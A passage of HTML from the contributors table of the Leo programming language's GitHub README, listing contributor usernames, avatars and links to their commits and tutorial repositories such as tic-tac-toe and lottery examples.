Shamanaev"><br><sub><b>Damir Shamanaev</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=damirka" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/gluax"><img src="https://avatars.githubusercontent.com/u/16431709?v=4?s=100" width="100px;" alt="gluax"><br><sub><b>gluax</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=gluax" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/0rphon"><img src="https://avatars.githubusercontent.com/u/59403052?v=4?s=100" width="100px;" alt="0rphon"><br><sub><b>0rphon</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=0rphon" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Protryon"><img src="https://avatars.githubusercontent.com/u/8600837?v=4?s=100" width="100px;" alt="Max Bruce"><br><sub><b>Max Bruce</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=Protryon" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/isvforall"><img src="https://avatars.githubusercontent.com/u/706913?v=4?s=100" width="100px;" alt="Sergey Isaev"><br><sub><b>Sergey Isaev</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=isvforall" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://www.garillot.net/"><img src="https://avatars.githubusercontent.com/u/4142?v=4?s=100" width="100px;" alt="François Garillot"><br><sub><b>François Garillot</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=huitseeker" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.chenweikeng.com"><img src="https://avatars.githubusercontent.com/u/14937807?v=4?s=100" width="100px;" alt="Weikeng Chen"><br><sub><b>Weikeng Chen</b></sub></a><br><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#research-weikengchen" title="Research">🔬</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dev-sptg"><img src="https://avatars.githubusercontent.com/u/585251?v=4?s=100" width="100px;" alt="sptg"><br><sub><b>sptg</b></sub></a><br><a href="https://github.com/AleoHQ/leo/issues?q=author%3Adev-sptg" title="Bug reports">🐛</a> <a href="https://github.com/AleoHQ/leo/commits?author=dev-sptg" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://louiswt.github.io/"><img src="https://avatars.githubusercontent.com/u/22902565?v=4?s=100" width="100px;" alt="LouisWT"><br><sub><b>LouisWT</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=LouisWT" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/yuliyu123"><img src="https://avatars.githubusercontent.com/u/8566390?v=4?s=100" width="100px;" alt="yuliyu123"><br><sub><b>yuliyu123</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=yuliyu123" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://detailyang.github.io"><img src="https://avatars.githubusercontent.com/u/3370345?v=4?s=100" width="100px;" alt="detailyang"><br><sub><b>detailyang</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=detailyang" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Tom-OriginStorage"><img src="https://avatars.githubusercontent.com/u/103015469?v=4?s=100" width="100px;" alt="Tom-OriginStorage"><br><sub><b>Tom-OriginStorage</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=Tom-OriginStorage" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/omahs"><img src="https://avatars.githubusercontent.com/u/73983677?v=4?s=100" width="100px;" alt="omahs"><br><sub><b>omahs</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=omahs" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/HarukaMa"><img src="https://avatars.githubusercontent.com/u/861659?v=4?s=100" width="100px;" alt="Haruka"><br><sub><b>Haruka</b></sub></a><br><a href="https://github.com/AleoHQ/leo/issues?q=author%3AHarukaMa" title="Bug reports">🐛</a> <a href="https://github.com/AleoHQ/leo/commits?author=HarukaMa" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/swift-mx"><img src="https://avatars.githubusercontent.com/u/80231732?v=4?s=100" width="100px;" alt="swift-mx"><br><sub><b>swift-mx</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=swift-mx" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/FranFiuba"><img src="https://avatars.githubusercontent.com/u/5733366?v=4?s=100" width="100px;" alt="Francisco Strambini"><br><sub><b>Francisco Strambini</b></sub></a><br><a href="https://github.com/AleoHQ/leo/commits?author=FranFiuba" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dangush"><img src="https://avatars.githubusercontent.com/u/39884512?v=4?s=100" width="100px;" alt="Daniel Gushchyan"><br><sub><b>Daniel Gushchyan</b></sub></a><br><a href="https://github.com/dangush/aleo-lottery" title="Tutorials">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/r4keta"><img src="https://avatars.githubusercontent.com/u/78550627?v=4?s=100" width="100px;" alt="r4keta"><br><sub><b>r4keta</b></sub></a><br><a href="https://github.com/r4keta/ihar-tic-tac-toe" title="Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/liolikus"><img src="https://avatars.githubusercontent.com/u/85246338?v=4?s=100" width="100px;" alt="liolikus"><br><sub><b>liolikus</b></sub></a><br><a href="https://github.com/liolikus/quiz_token_with_username" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/evgeny-garanin"><img src="https://avatars.githubusercontent.com/u/44749897?v=4?s=100" width="100px;" alt="evgeny-garanin"><br><sub><b>Evgeny Garanin</b></sub></a><br><a href="https://github.com/evgeny-garanin/aleoapp" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/NickoMenty"><img src="https://avatars.githubusercontent.com/u/52633108?s=80&amp;v=4?s=100" width="100px;" alt="NickoMenty"><br><sub><b>NickoMenty</b></sub></a><br><a href="https://github.com/NickoMenty/tictacapp" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/eug33ne"><img src="https://avatars.githubusercontent.com/u/146975479?s=80&amp;v=4?s=100" width="100px;" alt="eug33ne"><br><sub><b>eug33ne</b></sub></a><br><a href="https://github.com/eug33ne/eugenettt" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Nininiao"><img src="https://avatars.githubusercontent.com/u/75372952?s=80&amp;v=4?s=100" width="100px;" alt="Nininiao"><br><sub><b>Nininiao</b></sub></a><br><a href="https://github.com/Nininiao/tictactoe-aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/CTurE1"><img src="https://avatars.githubusercontent.com/u/93711669?s=80&amp;v=4?s=100" width="100px;" alt="CTurE1"><br><sub><b>CTurE1</b></sub></a><br><a href="https://github.com/CTurE1/leo_first" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/colliseum2006"><img src="https://avatars.githubusercontent.com/u/26433623?s=80&amp;v=4?s=100" width="100px;" alt="colliseum2006"><br><sub><b>colliseum2006</b></sub></a><br><a href="https://github.com/colliseum2006/Aleo-TicTacToe-Leo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/boaaa"><img src="https://avatars.githubusercontent.com/u/18523852?s=80&amp;u=dafb625808ba6ebe266ffb090c32294ba5cd1978&amp;v=4?s=100" width="100px;" alt="boaaa"><br><sub><b>boaaa</b></sub></a><br><a href="https://github.com/boaaa/leo-tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/HausenUA"><img src="https://avatars.githubusercontent.com/u/107180551?s=80&amp;u=767d5b3fa32499e1a9bd199195464b23a0a2a5ff&amp;v=4?s=100" width="100px;" alt="HausenUA"><br><sub><b>HausenUA</b></sub></a><br><a href="https://github.com/HausenUA/lotteryAleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/TerrenceTepezano"><img src="https://avatars.githubusercontent.com/u/90051964?s=80&amp;v=4?s=100" width="100px;" alt="TerrenceTepezano"><br><sub><b>TerrenceTepezano</b></sub></a><br><a href="https://github.com/TerrenceTepezano/leo-example-lottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Zabka0x94"><img src="https://avatars.githubusercontent.com/u/118641707?s=80&amp;v=4?s=100" width="100px;" alt="Zabka0x94"><br><sub><b>Zabka0x94</b></sub></a><br><a href="https://github.com/Zabka0x94/TarasLottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/DarronHanly1"><img src="https://avatars.githubusercontent.com/u/90051711?s=80&amp;v=4?s=100" width="100px;" alt="DarronHanly1"><br><sub><b>DarronHanly1</b></sub></a><br><a href="https://github.com/DarronHanly1/tictactoe-leo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/penglang"><img src="https://avatars.githubusercontent.com/u/90052701?s=80&amp;u=005c2163e9ce71c4b4c5057b9633387bb7b07d3a&amp;v=4?s=100" width="100px;" alt="penglang"><br><sub><b> FengXiaoYong</b></sub></a><br><a href="https://github.com/penglang/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/KassieSteinman"><img src="https://avatars.githubusercontent.com/u/90052202?s=80&amp;v=4?s=100" width="100px;" alt="KassieSteinman"><br><sub><b> KassieSteinman</b></sub></a><br><a href="https://github.com/KassieSteinman/example-lottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MaishaAzim"><img src="https://avatars.githubusercontent.com/u/90052288?s=80&amp;v=4?s=100" width="100px;" alt="MaishaAzim"><br><sub><b> MaishaAzim</b></sub></a><br><a href="https://github.com/MaishaAzim/lottery" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Moria-Bright"><img src="https://avatars.githubusercontent.com/u/147031372?s=80&amp;u=c8ee842648f3c7beeae0f6096d7b0727c3726e6d&amp;v=4?s=100" width="100px;" alt="Moria-Bright"><br><sub><b> Moria Bright</b></sub></a><br><a href="https://github.com/Moria-Bright/Leo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Bradshow"><img src="https://avatars.githubusercontent.com/u/147033772?s=80&amp;u=80056bd706b952de2871e4715515b50f92b997fd&amp;v=4?s=100" width="100px;" alt="Bradshow"><br><sub><b> Bradshow</b></sub></a><br><a href="https://github.com/Bradshow/lottery-Leo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/SilvaHoffarth"><img src="https://avatars.githubusercontent.com/u/90052391?s=80&amp;v=4?s=100" width="100px;" alt="SilvaHoffarth"><br><sub><b> SilvaHoffarth</b></sub></a><br><a href="https://github.com/SilvaHoffarth/example-tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Elaine1015"><img src="https://avatars.githubusercontent.com/u/147033872?s=80&amp;u=a5830cb86421eb9fa013c1dc2c2c1bc459bf2410&amp;v=4?s=100" width="100px;" alt="Elaine1015"><br><sub><b> Elaine1015</b></sub></a><br><a href="https://github.com/Elaine1015/Lottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/vasylbelyi"><img src="https://avatars.githubusercontent.com/u/101014717?s=80&amp;v=4?s=100" width="100px;" alt="vasylbelyi"><br><sub><b> vasylbelyi</b></sub></a><br><a href="https://github.com/vasylbelyi/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/EgorMajj"><img src="https://avatars.githubusercontent.com/u/91486022?s=80&amp;u=ab2183b3999a1773e16d19a342b3f0333fb79aef&amp;v=4?s=100" width="100px;" alt="EgorMajj"><br><sub><b> EgorMajj</b></sub></a><br><a href="https://github.com/EgorMajj/egormajj-Aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/RNS23"><img src="https://avatars.githubusercontent.com/u/93403404?s=80&amp;v=4?s=100" width="100px;" alt="RNS23"><br><sub><b> RNS23</b></sub></a><br><a href="https://github.com/RNS23/aleo-project" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/VoinaOleksandr"><img src="https://avatars.githubusercontent.com/u/123416145?s=80&amp;v=4?s=100" width="100px;" alt="VoinaOleksandr"><br><sub><b> VoinaOleksandr</b></sub></a><br><a href="https://github.com/Moria-Bright/Leo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/alexprimak58"><img src="https://avatars.githubusercontent.com/u/78500984?s=80&amp;u=8d86ccc0909f74a99beaa91659f72ea1fc210425&amp;v=4?s=100" width="100px;" alt="alexprimak58"><br><sub><b> alexprimak58</b></sub></a><br><a href="https://github.com/alexprimak58/aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Asimous22"><img src="https://avatars.githubusercontent.com/u/123984389?s=80&amp;u=a48284738bc8e7650e8f01c586bb21614f167a4a&amp;v=4?s=100" width="100px;" alt="Asimous22"><br><sub><b> Asimous22</b></sub></a><br><a href="https://github.com/Asimous22/AleooL1" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Marik0023"><img src="https://avatars.githubusercontent.com/u/70592085?s=80&amp;v=4?s=100" width="100px;" alt="Marik0023"><br><sub><b> Marik0023</b></sub></a><br><a href="https://github.com/Marik0023/Aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/JanSchluter"><img src="https://avatars.githubusercontent.com/u/90052550?s=80&amp;v=4?s=100" width="100px;" alt="JanSchluter"><br><sub><b> JanSchluter</b></sub></a><br><a href="https://github.com/JanSchluter/leo-token" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AminaPerrigan"><img src="https://avatars.githubusercontent.com/u/90052692?s=80&amp;v=4?s=100" width="100px;" alt="AminaPerrigan"><br><sub><b> AminaPerrigan</b></sub></a><br><a href="https://github.com/AminaPerrigan/aleo-lottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Utah8O"><img src="https://avatars.githubusercontent.com/u/147143937?s=80&amp;v=4?s=100" width="100px;" alt="Utah8O"><br><sub><b> Utah8O</b></sub></a><br><a href="https://github.com/Utah8O/tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ApoloniaResseguie"><img src="https://avatars.githubusercontent.com/u/90052780?s=80&amp;v=4ApoloniaResseguie?s=100" width="100px;" alt="ApoloniaResseguie"><br><sub><b> ApoloniaResseguie</b></sub></a><br><a href="https://github.com/ApoloniaResseguie/aleo-example-token" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/NobukoCausley"><img src="https://avatars.githubusercontent.com/u/90052877?s=80&amp;v=4?s=100" width="100px;" alt="NobukoCausley"><br><sub><b> NobukoCausley</b></sub></a><br><a href="https://github.com/NobukoCausley/example-project-tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ololo70"><img src="https://avatars.githubusercontent.com/u/123416859?s=80&amp;v=4?s=100" width="100px;" alt="ololo70"><br><sub><b> ololo70</b></sub></a><br><a href="https://github.com/ololo70/lottery.aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/evangelion4215"><img src="https://avatars.githubusercontent.com/u/147157455?s=80&amp;u=8676ba262e019b3c49758a78d0a22cb207c119f1&amp;v=4?s=100" width="100px;" alt="evangelion4215"><br><sub><b> evangelion4215</b></sub></a><br><a href="https://github.com/evangelion4215/aleorepository" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/boodovskiy"><img src="https://avatars.githubusercontent.com/u/15303736?s=80&amp;v=4?s=100" width="100px;" alt="boodovskiy"><br><sub><b> boodovskiy</b></sub></a><br><a href="https://github.com/boodovskiy/leo-app-alexbud" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/BULVER777"><img src="https://avatars.githubusercontent.com/u/78557232?s=80&amp;v=4?s=100" width="100px;" alt="BULVER777"><br><sub><b> BULVER777</b></sub></a><br><a href="https://github.com/BULVER777/Leo_Developer" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Slashxdd"><img src="https://avatars.githubusercontent.com/u/32466372?s=80&amp;u=e8cf936790566cdb518e4dce14a2824666aac3a6&amp;v=4?s=100" width="100px;" alt="Slashxdd"><br><sub><b> Kyrylo Budovskyi</b></sub></a><br><a href="https://github.com/Slashxdd/leo-example" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sayber1717"><img src="https://avatars.githubusercontent.com/u/107244636?s=80&amp;v=4?s=100" width="100px;" alt="sayber1717"><br><sub><b> sayber1717</b></sub></a><br><a href="https://github.com/sayber1717/aleo-first" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/BudiSwy"><img src="https://avatars.githubusercontent.com/u/147084162?s=80&amp;u=b30985bab45cd7379abe08555c2d3a0e81df4b28&amp;v=4?s=100" width="100px;" alt="BudiSwy "><br><sub><b> BudiSwy </b></sub></a><br><a href="https://github.com/BudiSwy/BudiSwyLottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/romacll"><img src="https://avatars.githubusercontent.com/u/138483707?s=80&amp;v=4?s=100" width="100px;" alt="romacll"><br><sub><b> romacll</b></sub></a><br><a href="https://github.com/romacll/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/habaroff18203"><img src="https://avatars.githubusercontent.com/u/37939150?s=80&amp;v=4?s=100" width="100px;" alt="habaroff18203"><br><sub><b> habaroff18203</b></sub></a><br><a href="https://github.com/habaroff18203/Tic-tac-toe-Aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/LennyPro6"><img src="https://avatars.githubusercontent.com/u/119447436?s=80&amp;v=4?s=100" width="100px;" alt="LennyPro6"><br><sub><b> LennyPro6</b></sub></a><br><a href="https://github.com/LennyPro6/AleoTictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/n0d4"><img src="https://avatars.githubusercontent.com/u/127042589?s=80&amp;v=4?s=100" width="100px;" alt="n0d4"><br><sub><b> n0d4</b></sub></a><br><a href="https://github.com/n0d4/tictactoe1" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/grossbel12"><img src="https://avatars.githubusercontent.com/u/86624298?s=80&amp;u=03e4eb8a1f5200f0ea8393ad94f5350fb35c3d0c&amp;v=4?s=100" width="100px;" alt="grossbel12"><br><sub><b> grossbel12</b></sub></a><br><a href="https://github.com/grossbel12/Test_privat_Aleo" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Orliha"><img src="https://avatars.githubusercontent.com/u/89811794?s=80&amp;v=4?s=100" width="100px;" alt="Orliha"><br><sub><b> Orliha</b></sub></a><br><a href="https://github.com/Orliha/battleshiponaleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/darijn"><img src="https://avatars.githubusercontent.com/u/77969911?s=80&amp;u=b22be029487be6034ccc2349351f1da442916581&amp;v=4?s=100" width="100px;" alt="darjin"><br><sub><b> darjin </b></sub></a><br><a href="https://github.com/darijn/aleoappbyme" title="“Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/romacll"><img src="https://avatars.githubusercontent.com/u/138483707?s=80&amp;v=4?s=100" width="100px;" alt="romacll"><br><sub><b> romacll</b></sub></a><br><a href="https://github.com/romacll/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aleoweb123"><img src="https://avatars.githubusercontent.com/u/123852645?s=80&amp;v=4?s=100" width="100px;" alt="aleoweb123"><br><sub><b> aleoweb123</b></sub></a><br><a href="https://github.com/aleoweb123/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/arosboro"><img src="https://avatars.githubusercontent.com/u/2224595?s=80&amp;v=4?s=100" width="100px;" alt="arosboro"><br><sub><b> Andrew Rosborough</b></sub></a><br><a href="https://github.com/arosboro/newsletter" title="“Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/R-Demon"><img src="https://avatars.githubusercontent.com/u/74899343?s=80&amp;v=4?s=100" width="100px;" alt="R-Demon"><br><sub><b> R-Demon</b></sub></a><br><a href="https://github.com/R-Demon/Leo-test" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sryykov"><img src="https://avatars.githubusercontent.com/u/144407047?s=80&amp;v=4?s=100" width="100px;" alt="sryykov"><br><sub><b> sryykov</b></sub></a><br><a href=" https://github.com/sryykov/lottery" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/himera0482"><img src="https://avatars.githubusercontent.com/u/147270825?s=80&amp;v=4?s=100" width="100px;" alt="himera0482"><br><sub><b> himera0482</b></sub></a><br><a href="https://github.com/himera0482/lotteryHimera" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/encipher88"><img src="https://avatars.githubusercontent.com/u/36136421?s=80&amp;u=75315d2db3508972320ecfdb2a39698ceac5aabc&amp;v=4?s=100" width="100px;" alt="encipher88"><br><sub><b> encipher88 </b></sub></a><br><a href="https://github.com/encipher88/aleoapplottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Likaenigma"><img src="https://avatars.githubusercontent.com/u/82119648?s=80&amp;v=4?s=100" width="100px;" alt="Likaenigma"><br><sub><b> Likaenigma</b></sub></a><br><a href="https://github.com/Likaenigma/Aleo_tictaktoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/bartosian"><img src="https://avatars.githubusercontent.com/u/20209819?s=80&amp;u=f02ed67ada96f4f128a48a437cdb9064e4d978a1&amp;v=4?s=100" width="100px;" alt="bartosian"><br><sub><b> bartosian</b></sub></a><br><a href="https://github.com/bartosian/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/bendenizrecep"><img src="https://avatars.githubusercontent.com/u/61727501?s=80&amp;u=96b0aa75990afc2feceb87dd6e9de44984e7a42d&amp;v=4?s=100" width="100px;" alt="bendenizrecep"><br><sub><b> Recep Deniz</b></sub></a><br><a href="https://github.com/bendenizrecep/Aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Saimon87"><img src="https://avatars.githubusercontent.com/u/97917099?s=80&amp;v=4?s=100" width="100px;" alt="Saimon87"><br><sub><b> Saimon87</b></sub></a><br><a href="https://github.com/Saimon87/lottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/BannyNo"><img src="https://avatars.githubusercontent.com/u/105598886?s=80&amp;u=6bb32e2dec2bfff0e81a97da2932d3bde4761b2d&amp;v=4?s=100" width="100px;" alt="BannyNo"><br><sub><b> Big Ixela</b></sub></a><br><a href="https://github.com/BannyNo/ttk" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Mistmorn0"><img src="https://avatars.githubusercontent.com/u/132354087?s=80&amp;u=949b312989a7c7214da6eda067a955d73051abe4&amp;v=4?s=100" width="100px;" alt="Mistmorn0"><br><sub><b> Denys Riabets </b></sub></a><br><a href="https://github.com/Mistmorn0/tic-tac-toe-aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/chipqp"><img src="https://avatars.githubusercontent.com/u/147347780?s=80&amp;u=ce7d8206896790577a4806b50a5b410df0171f55&amp;v=4?s=100" width="100px;" alt="chipqp"><br><sub><b> Dmytro Groma </b></sub></a><br><a href="https://github.com/chipqp/chipqplotteryforAleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/VolodymyrRudoi"><img src="https://avatars.githubusercontent.com/u/147347334?s=80&amp;v=4?s=100" width="100px;" alt="VolodymyrRudoi"><br><sub><b> Volodymyr Rudoi</b></sub></a><br><a href="https://github.com/VolodymyrRudoi/RudoiLeoTicTacToe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/petrofalatyuk"><img src="https://avatars.githubusercontent.com/u/147347836?s=80&amp;v=4?s=100" width="100px;" alt="petrofalatyuk"><br><sub><b> Petro Falatiuk </b></sub></a><br><a href="https://github.com/petrofalatyuk/Aleo-lottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/eleven-pixel"><img src="https://avatars.githubusercontent.com/u/68178877?s=80&amp;u=8520dc290911b4a613180bb5fa9c46f0cde769b4&amp;v=4?s=100" width="100px;" alt="eleven-pixel "><br><sub><b> ElsaChill</b></sub></a><br><a href="https://github.com/eleven-pixel/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/gsulaberidze"><img src="https://avatars.githubusercontent.com/u/98606008?s=80&amp;v=4?s=100" width="100px;" alt="gsulaberidze"><br><sub><b> gsulaberidze</b></sub></a><br><a href="https://github.com/gsulaberidze/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kegvorn"><img src="https://avatars.githubusercontent.com/u/98895367?s=80&amp;u=8eb56f5a9ca694c0b659a47eaceda18a2d075f04&amp;v=4?s=100" width="100px;" alt="kegvorn"><br><sub><b> kegvorn</b></sub></a><br><a href="https://github.com/kegvorn/aleo_kegvorn" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Porcoss"><img src="https://avatars.githubusercontent.com/u/116500991?s=80&amp;v=4?s=100" width="100px;" alt="totoro_me"><br><sub><b> totoro_me</b></sub></a><br><a href="https://github.com/Porcoss/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/timchinskiyalex"><img src="https://avatars.githubusercontent.com/u/69203707?s=80&amp;v=4?s=100" width="100px;" alt="timchinskiyalex"><br><sub><b> timchinskiyalex </b></sub></a><br><a href="https://github.com/timchinskiyalex/aleo_test_token" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/DimaSpys"><img src="https://avatars.githubusercontent.com/u/102924787?s=80&amp;v=4?s=100" width="100px;" alt="DimaSpys"><br><sub><b> DimaSpys</b></sub></a><br><a href="https://github.com/DimaSpys/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/DimBirch"><img src="https://avatars.githubusercontent.com/u/99015099?s=80&amp;u=72ec17d4ca64b433bb725247b311ecfb4795f2f3&amp;v=4?s=100" width="100px;" alt="dimbirch"><br><sub><b> dimbirch </b></sub></a><br><a href="https://github.com/DimBirch/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/YuraPySHIT"><img src="https://avatars.githubusercontent.com/u/147433702?s=80&amp;v=4?s=100" width="100px;" alt="YuraPySHIT "><br><sub><b> YuraPySHIT</b></sub></a><br><a href="https://github.com/YuraPySHIT/ChokavoLottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/annabirch"><img src="https://avatars.githubusercontent.com/u/116267741?s=80&amp;v=4?s=100" width="100px;" alt="annabirch"><br><sub><b> annabirch</b></sub></a><br><a href="https://github.com/annabirch/lottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/baxzban"><img src="https://avatars.githubusercontent.com/u/34492472?s=80&amp;v=4?s=100" width="100px;" alt="baxzban"><br><sub><b> baxzban</b></sub></a><br><a href="https://github.com/baxzban/tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nnewera3"><img src="https://avatars.githubusercontent.com/u/101011598?s=80&amp;u=14eb50f6ffd51968e44ec9d8273c6aac7a0912fc&amp;v=4?s=100" width="100px;" alt="nnewera3"><br><sub><b> nnewera3</b></sub></a><br><a href="https://github.com/nnewera3/newera3" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/LabLinens"><img src="https://avatars.githubusercontent.com/u/92609032?s=80&amp;u=317c54f560c9d49f99bcf6b2826f58d2b68245c6&amp;v=4?s=100" width="100px;" alt="LabLinens"><br><sub><b> LabLinens </b></sub></a><br><a href="https://github.com/LabLinens/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/drimartist"><img src="https://avatars.githubusercontent.com/u/147176569?s=80&amp;u=267b3d70952a55ad7f1e6194e084c8781dc0c3f5&amp;v=4?s=100" width="100px;" alt="drimartist"><br><sub><b> drimartist</b></sub></a><br><a href="https://github.com/drimartist/tic-tac-toe" title="“Tutorial">✅</a></td> <td align="center" valign="top" 